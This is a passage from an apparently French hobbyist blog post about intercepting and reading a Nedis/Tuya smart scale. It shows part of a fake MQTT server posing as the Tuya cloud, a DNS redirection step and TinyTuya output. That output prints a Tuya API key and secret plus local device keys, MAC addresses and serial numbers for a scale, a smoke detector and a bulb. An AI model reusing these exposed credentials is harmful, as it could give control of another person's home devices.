                    topic_bytes = topic.encode()
                    var_header = struct.pack("!H", len(topic_bytes)) + topic_bytes
                    packet_payload = var_header + json_payload.encode()

                    # PUBLISH QoS 1
                    packet = create_mqtt_packet(3, 0x02, packet_payload)
                    time.sleep(0.5)
                    conn.send(packet)
                    print("POIDS TUYA CHIFFRÉ ENVOYÉ")

                elif pkt_type == 4:  # PUBACK
                    print("<<< PUBACK")

                elif pkt_type == 10:  # UNSUBSCRIBE
                    msg_id = payload[0:2]
                    conn.send(create_mqtt_packet(11, 0x00, msg_id))
                    print("<<< UNSUBACK")

                elif pkt_type == 12:  # PINGREQ
                    conn.send(b"\xd0\x00")

                else:
                    print(f"MQTT type {pkt_type} ignoré")

        except Exception as e:
            print(f"Erreur : {e}")

        finally:
            try:
                conn.close()
            except:
                pass

if __name__ == "__main__":
    start_server()

Je pense que pour faire fonctionner cette méthode, il faut absolument que je trouve la clé qui crypte le message pour que Nedis l'accepte quand il le reçoit

J'ai donc cherché dans cette direction et j'ai découvert deux choses.

Premièrement, TinyTuya, une API Python pour les appareils intelligents Tuya (génial, Nedis utilise Tuya) WiFi utilisant une connexion directe au réseau local (LAN) ou le cloud (API TuyaCloud). TinyTuya permet entre autre de récupérer la fameuse clé.

Ensuite, j'ai découvert la plateforme IOT de Tuya qui permet, en connectant son application de téléphone sur le site, de jouer avec ses appareils Tuya pour une connexion avec Home Assisant ou encore ... TinyTuya !


Spoiler alerte: J'ai du changer d'application et cette application ne tape plus sur la même adresse. Elle tape sur XX-eu.lifeaiot.com il a donc fallu refaire une redirection vers notre serveur pour ces nouvelles adresses.

Spoiler alerte: j'ai la clé. Je parle plus de TinyTuya dans la prochaine partie car même avec cette clé, ce faux serveur ne marche pas. Je vais donc tenter d'autres pistes.

TinyTuya

Dans cette partie, nous allons tenter de connecter notre balance à notre faux serveur en utilisant l'utilitaire TinyTuya. Le but est de récupérer le poids de l'utilisateur de la balance lorsqu'il se pèse.

Dans un premier temps il a fallu connecter l'appli à la platforme IOT de Tuya. L'application "Nedis Smartlife" de Nedis, qui utilise bien la même base que l'application Smartlife de Tuya (oui oui c'est le même nom…) ne veux pas se connecter à la plateforme pour une raison inexplicable (et au vu du nombre de forum qui parle du sujet, je ne suis pas le seul).

J'ai donc du connecter ma balance sur l'appli Smartlife qui a bien voulu se connecter à la plateforme.

Cela me permet de récupérer avec TinyTuya les périphériques

Et je vais maintenant tenter d'expliquer le fonctionnement de TinyTuya étape par étape…

Déjà pourquoi connecter l'application avec la plateforme IOT de Tuya --> Cela permet à l'appli de récupérer les appareils connectés de mon application, elle va générer un ID et une clé.

Et comment faire pour que TinyTuya est accès aux appareils --> grâce à la commande python -m tinytuya wizard qui va prendre l'ID et la clé pour récupérer les appareils.

Ensuite la commande suivante va permettre à TinyTuya de détecter nos appareils qui sont effectivement connecté à notre réseau :

(test) root@SE5:~/py_file# python3 -m tinytuya devices 
TinyTuya (Tuya device scanner) [1.17.4] Loaded devices.json - 1 devices: Device Listing [     
{         
"name": "P\u00e8se pas que des personnes",         
"id": "84853100a4e57c162d4c",         
"key": "V[z^Gr|qekh]9z_>",         
"mac": "a4:e5:7c:16:2d:4c",         
"uuid": "84853100a4e57c162d4c",         
"sn": "10003702800241",         
"category": "qt",         
"product_name": "Personal Scale",         
"product_id": "arjciqapuueq9cvt",         
"biz_type": 18,         
"model": "WIFIHS10WT",         
"sub": false,         
"icon": "https://images.tuyaeu.com/smart/icon/ay1513237774906SMBA3/1652104387fa2f735a389.png",         
"mapping": {}     } ]

Et la, magie, on obtient la clé de la balance, on va pouvoir enfin récupérer le poids de notre utilisateur grâce à ce code python qui écoute la balance:

import tinytuya

DEVICE_ID = '84853100a4e57c162d4c'
IP_ADDRESS = '172.16.10.105'
LOCAL_KEY = 'V[z^Gr|qekh]9z_>'

# Connexion à l'appareil
d = tinytuya.Device(DEVICE_ID, IP_ADDRESS, LOCAL_KEY)

d.set_version(3.3)

# Récupérer le statut
data = d.status() 
print("Statut complet :", data)

Évidemment cela ne fonctionne pas. Et pourquoi ? Et bien si l'on regarde dans le bloc python3 -m tinytuya devices TinyTuya on observe que le champs mapping est vide. Ce champs est censé afficher toute les données que TinyTuya est censé pouvoir récupérer … et il est vide …

Soit je suis à l'origine de ce problème, soit TinyTuya ne permet de changer nous ampoules connecté en rouge si la balance affiche que notre objectif de poids est dépassé …

Affaire à suivre.

TODO : ne marche pas en local ? tenter d'enlever la redirection

(test) root@SE5:~/py_file# python3 -m tinytuya wizard -force
TinyTuya Setup Wizard [1.17.4]

    Existing settings:
        API Key=g5wufknjhcwqkkpsrgug 
        Secret=edac1effd9374f50b6c61ddd2ea1e734
        DeviceID=84853100a4e57c162d4c
        Region=eu

    Use existing credentials (Y/n): 

Download DP Name mappings? (Y/n): 


Device Listing

[
    {
        "name": "D\u00e9tecteur de fum\u00e9e",
        "id": "86730270483fda3155d0",
        "key": "r@fAdR'PW~0O`v5@",
        "mac": "48:3f:da:31:55:d0",
        "uuid": "86730270483fda3155d0",
        "sn": "1000716370419B",
        "category": "ywbj",
        "product_name": "Smoke detector",
        "product_id": "inwnovped8h5aoaw",
        "biz_type": 18,
        "model": "WIFIDS20WT",
        "sub": false,
        "icon": "https://images.tuyaeu.com/smart/icon/ay1513237774906SMBA3/651af99cad24017128e3dc2322461ae5.png",
        "mapping": {
            "1": {
                "code": "smoke_sensor_status",
                "type": "Enum",
                "values": {
                    "range": [
                        "alarm",
                        "normal"
                    ]
                }
            },
            "14": {
                "code": "battery_state",
                "type": "Enum",
                "values": {
                    "range": [
                        "low",
                        "middle",
                        "high"
                    ]
                }
            }
        }
    },
    {
        "name": "P\u00e8se pas que des personnes",
        "id": "84853100a4e57c162d4c",
        "key": "V[z^Gr|qekh]9z_>",
        "mac": "a4:e5:7c:16:2d:4c",
        "uuid": "84853100a4e57c162d4c",
        "sn": "10003702800241",
        "category": "qt",
        "product_name": "Personal Scale",
        "product_id": "arjciqapuueq9cvt",
        "biz_type": 18,
        "model": "WIFIHS10WT",
        "sub": false,
        "icon": "https://images.tuyaeu.com/smart/icon/ay1513237774906SMBA3/1652104387fa2f735a389.png",
        "mapping": {}
    }
]

>> Saving list to devices.json
    2 registered devices saved

>> Saving raw TuyaPlatform response to tuya-raw.json

Poll local devices? (Y/n): 

Scanning local network for Tuya devices...
Scan network 172.16.10.0/24 from interface eth0? ([Y]es/[n]o/[a]ll yes): 
Scan network 172.26.145.0/24 from interface eth1? ([Y]es/[n]o/[a]ll yes): n
Scan network 172.26.145.0/24 from interface eth1? ([Y]es/[n]o/[a]ll yes): n
    0 local devices discovered                                   

Polling local devices...
    [Détecteur de fumée       ] Error: No IP found
    [Pèse pas que des personne] Error: No IP found

>> Saving device snapshot data to snapshot.json


Done.
(test) root@SE5:~/py_file# python3 -m tinytuya wizard
TinyTuya Setup Wizard [1.17.4]

    Existing settings:
        API Key=g5wufknjhcwqkkpsrgug 
        Secret=edac1effd9374f50b6c61ddd2ea1e734
        DeviceID=84853100a4e57c162d4c
        Region=eu

    Use existing credentials (Y/n): n

    Enter API Key from tuya.com: g5wufknjhcwqkkpsrgug
    Enter API Secret from tuya.com: edac1effd9374f50b6c61ddd2ea1e734
    Enter any Device ID currently registered in Tuya App (used to pull full list) or 'scan' to scan for one: bf85da6b2eccef5784rydz

      Region List
        cn	China Data Center (alias: AY)
        us	US - Western America Data Center (alias: AZ)
        us-e	US - Eastern America Data Center (alias: UE)
        eu	Central Europe Data Center
        eu-w	Western Europe Data Center (alias: WE)
        in	India Data Center
        sg	Singapore Data Center

    Enter Your Region (Options: cn, us, us-e, eu, eu-w, in, or sg): eu

>> Configuration Data Saved to tinytuya.json
{
    "apiKey": "g5wufknjhcwqkkpsrgug",
    "apiSecret": "edac1effd9374f50b6c61ddd2ea1e734",
    "apiRegion": "eu",
    "apiDeviceID": "bf85da6b2eccef5784rydz"
}

Download DP Name mappings? (Y/n): 


Device Listing

[
    {
        "name": "Ampoule Connect\u00e9e",
        "id": "bf85da6b2eccef5784rydz",
        "key": "ZO:}y#{'gM.QuI|T",
        "mac": "10:5a:17:a9:b5:6f",
        "uuid": "b73f1a854ac4219e",
        "sn": "830-2-20148D",
        "category": "dj",
        "product_name": "Smart bulb",
        "product_id": "mdzqw8qjfzfdjz9n",
        "biz_type": 18,
        "model": "WIFILRW10E27",
        "sub": false,
        "icon": "https://images.tuyaeu.com/smart/icon/ay1513237774906SMBA3/9a70929a5f5c1855c1c091ab404b8319.png",
        "mapping": {
            "20": {
                "code": "switch_led",
                "type": "Boolean",
                "values": {}
            },
            "21": {
                "code": "work_mode",
                "type": "Enum",
                "values": {
                    "range": [
                        "white",
                        "colour",
                        "scene",
                        "music"
                    ]
                }
            },
            "22": {
                "code": "bright_value_v2",
                "type": "Integer",
                "values": {
                    "min": 10,
                    "max": 1000,
                    "scale": 0,
                    "step": 1
                }
            },
            "23": {
                "code": "temp_value_v2",
                "type": "Integer",
                "values": {
                    "min": 0,
                    "max": 1000,
                    "scale": 0,
                    "step": 1
                }
            },
            "25": {
                "code": "scene_data_v2",
                "type": "Json",
                "raw_values": "{\"scene_num\":{\"min\":1,\"scale\":0,\"max\":8,\"step\":1},\"scene_units\": {\"unit_change_mode\":{\"range\":[\"static\",\"jump\",\"gradient\"]},\"unit_switch_duration\":{\"min\":0,\"scale\":0,\"max\":100,\"step\":1},\"unit_gradient_duration\":{\"min\":0,\"scale\":0,\"max\":100,\"step\":1},\"bright\":{\"min\":0,\"scale\":0,\"max\":1000,\"step\":1},\"temperature\":{\"min\":0,\"scale\":0,\"max\":1000,\"step\":1},\"h\":{\"min\":0,\"scale\":0,\"unit\":\"\",\"max\":360,\"step\":1},\"s\":{\"min\":0,\"scale\":0,\"unit\":\"\",\"max\":1000,\"step\":1},\"v\":{\"min\":0,\"scale\":0,\"unit\":\"\",\"max\":1000,\"step\":1}}}",
                "values": {
                    "scene_num": {
                        "min": 1,
                        "scale": 0,
                        "max": 8,
                        "step": 1
                    },
                    "scene_units": {
                        "unit_change_mode": {
                            "range": [
                                "static",
                                "jump",
                                "gradient"
                            ]
                        },
                        "unit_switch_duration": {
                            "min": 0,
                            "scale": 0,
                            "max": 100,
                            "step": 1
                        },
                        "unit_gradient_duration": {
                            "min": 0,
                            "scale": 0,
                            "max": 100,
                            "step": 1
                        },
                        "bright": {
                            "min": 0,
                            "scale": 0,
                            "max": 1000,
                            "step": 1
                        },
                        "temperature": {
                            "min": 0,
                            "scale": 0,
                            "max": 1000,
                            "step": 1
                        },
                        "h": {
                            "min": 0,
                            "scale": 0,
                            "unit": "",
                            "max": 360,
                            "step": 1
                        },
                        "s": {
                            "min": 0,
                            "scale": 0,
                            "unit": "",
                            "max": 1000,
                            "step": 1
                        },
                        "v": {
                            "min": 0,
                            "scale": 0,
                            "unit": "",
                            "max": 1000,
                            "step": 1
                        }
                    }
                }
            },
            "26": {
                "code": "countdown_1",
                "type": "Integer",
                "values": {
                    "unit": "s",
                    "min": 0,
                    "max": 86400,
                    "scale": 0,
                    "step": 1
                }
            },
            "28": {
                "code": "control_data",
                "type": "Json",
                "raw_values": "{\"change_mode\":{\"range\":[\"direct\",\"gradient\"]}, \"bright\":{\"min\":0,\"scale\":0,\"unit\":\"\",\"max\":1000,\"step\":1}, \"temperature\":{\"min\":0,\"scale\":0,\"unit\":\"\",\"max\":1000,\"step\":1}, \"h\":{\"min\":0,\"scale\":0,\"unit\":\"\",\"max\":360,\"step\":1},\"s\":{\"min\":0,\"scale\":0,\"unit\":\"\",\"max\":255,\"step\":1},\"v\":{\"min\":0,\"scale\":0,\"unit\":\"\",\"max\":255,\"step\":1}}",
                "values": {
                    "change_mode": {
                        "range": [
                            "direct",
                            "gradient"
                        ]
                    },
                    "bright": {
                        "min": 0,
                        "scale": 0,
                        "unit": "",
                        "max": 1000,
                        "step": 1
                    },
                    "temperature": {
                        "min": 0,
                        "scale": 0,
                        "unit": "",
                        "max": 1000,
                        "step": 1
                    },
                    "h": {
                        "min": 0,
                        "scale": 0,
                        "unit": "",
                        "max": 360,
                        "step": 1
                    },
                    "s": {
                        "min": 0,
                        "scale": 0,
                        "unit": "",
                        "max": 255,
                        "step": 1
                    },
                    "v": {
                        "min": 0,
                        "scale": 0,
                        "unit": "",
                        "max": 255,
                        "step": 1
                    }
                }
            },
            "30": {
                "code": "rhythm_mode",
                "type": "Raw",
                "values": {
                    "maxlen": "255"
                }
            },
            "31": {
                "code": "sleep_mode",
                "type": "Raw",
                "values": {
                    "maxlen": "255"
                }
            },
            "32": {
                "code": "wakeup_mode",
                "type": "Raw",
                "values": {
                    "maxlen": "255"
                }
            },
            "41": {
                "code": "remote_switch",
                "type": "Boolean",
                "values": {}
            }
        }
    }
]

>> Saving list to devices.json
    1 registered devices saved

>> Saving raw TuyaPlatform response to tuya-raw.json

Poll local devices? (Y/n): 

Scanning local network for Tuya devices...
    1 local devices discovered                         

Polling local devices...
    [Ampoule Connectée        ] 172.16.10.108      - [On]  - DPS: {'20': True, '21': 'white', '22': 1000, '23': 1000, '25': '000e0d0000000000000000c80000', '26': 0, '41': True}

>> Saving device snapshot data to snapshot.json


>> Saving IP addresses to devices.json
    1 device IP addresses found

Done.